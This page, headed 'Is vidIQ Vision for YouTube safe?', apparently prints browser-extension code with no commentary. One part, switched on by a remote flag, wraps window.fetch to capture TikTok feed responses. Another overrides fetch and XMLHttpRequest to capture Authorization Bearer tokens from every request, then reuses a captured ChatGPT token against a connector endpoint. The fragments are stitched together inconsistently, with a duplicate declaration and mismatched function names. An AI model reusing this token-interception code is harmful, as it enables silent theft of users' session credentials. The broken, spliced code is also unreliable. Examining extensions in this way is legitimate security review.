Is vidIQ Vision for YouTube safe?

// tiktokDocumentStart.bundle.js — document_start CS on www.tiktok.com/*
// Queries the remote experiment flag; injects the fetch-override script only
// when the server returns variant.key === 'variant'.

experimentClient.getExperimentValue(FeatureFlags.TIKTOK_FETCH_OVERRIDE)
  .then((result) => {
    if (result && result.variant.key === 'variant') {
      // inject tiktokFetchHandler.bundle.js (WAR) into the page's MAIN world
      const script = document.createElement('script');
      script.src = chrome.runtime.getURL('tiktokFetchHandler.bundle.js');
      document.documentElement.appendChild(script);
      script.parentNode?.removeChild(script);
    }
  });

// tiktokFetchHandler.bundle.js — injected into MAIN world on www.tiktok.com/*
// Wraps window.fetch to intercept TikTok's internal video-feed API responses.

const INTERCEPTED_PATHS = [
  '/api/recommend/item_list/',   // For You page
  '/api/following/item_list/',   // Following feed
  '/api/post/item_list/',        // User profile videos
  '/api/challenge/item_list/',   // Hashtag page
  '/api/music/item_list/',       // Music page
  '/api/topic/item_list/',       // Topic feed
  '/api/search/general/full/',   // Search results
  '/api/related/item_list/',     // Related videos
  'api/explore/item_list',       // Explore page
];

const PAGE_TYPE_MAP = {
  recommend: 'foryou', following: 'following', post: 'channel',
  challenge: 'hashtag', music: 'music', topic: 'foryou',
  search: 'search', related: 'related', explore: 'explore',
};

const originalFetch = window.fetch;
window.fetch = function (...args) {
  return originalFetch(...args).then(async (response) => {
    const matchedPath = INTERCEPTED_PATHS.find(p => response.url?.includes(p));
    if (matchedPath) {
      const segment = new URL(response.url).pathname.split('/')[2];
      const pageType = PAGE_TYPE_MAP[segment];
      if (pageType) {
        const body = await response.clone().json().catch(() => response.text());
        document.dispatchEvent(new CustomEvent('tiktokAjaxResponse', {
          detail: { url: response.url, data: body, page: pageType },
        }));
      }
    }
    return response;
  });
};

// Save the original native fetch before overriding it
const originalFetch = window.fetch;

// Replace window.fetch to intercept authorization headers from every outgoing request
window.fetch = (input, init) => {
  try {
    // Extract Bearer token from the init.headers object (plain object, Headers instance, or [name,value][] array)
    extractToken(init?.headers);
    // Also check if input is a Request object with its own headers
    if (input instanceof Request) extractToken(input.headers);
  } catch (err) {
    dispatchError(err, 'publish fetch authorization header');
  }
  // Call native fetch directly to avoid recursion
  const promise = originalFetch.call(window, input, init);
  // Sniff the connector status endpoint response when it matches
  promise.then(resp => checkConnectionStatus(input, resp))
         .catch(err => { if (isConnectorUrl(input)) dispatchError(err, 'read fetch connection status'); });
  return promise;
};

// Patch XHR to capture Bearer tokens from setRequestHeader calls
const originalSetHeader = XMLHttpRequest.prototype.setRequestHeader;
XMLHttpRequest.prototype.setRequestHeader = function(name, value) {
  try {
    if (name.toLowerCase() === 'authorization') storeBearerToken(value);
  } catch (err) {
    dispatchError(err, 'publish xhr authorization header');
  }
  return originalSetHeader.call(this, name, value);
};

// Calls the ChatGPT connector status endpoint with the intercepted Bearer token
const checkConnectorStatus = async () => {
  // Return cached result if no token has been captured yet
  if (!capturedBearerToken) {
    if (connectorActive === true) return true;
    if (connectorActive === false && Date.now() - lastChecked < 2000) return false;
    return null;
  }

  const controller = new AbortController();
  const timeout = window.setTimeout(() => controller.abort(), 8000);
  try {
    // Uses saved native fetch (b) to bypass the override; injects captured Bearer token
    const response = await originalFetch.call(window, '/backend-api/aip/connectors/links/list_accessible', {
      body: JSON.stringify({ link_refresh_strategy: 'BLOCKING', principals: [] }),
      credentials: 'include',
      headers: {
        authorization: capturedBearerToken,  // <-- the intercepted ChatGPT Bearer token
        'content-type': 'application/json'
      },
      method: 'POST',
      signal: controller.signal
    });
    if (!response.ok) return null;
    const data = await response.json();
    // Active when connector_id matches + auth_status 'ACTIVE' + connector_status 'ENABLED'
    return parseConnectorStatus(data);
  } finally {
    window.clearTimeout(timeout);
  }
};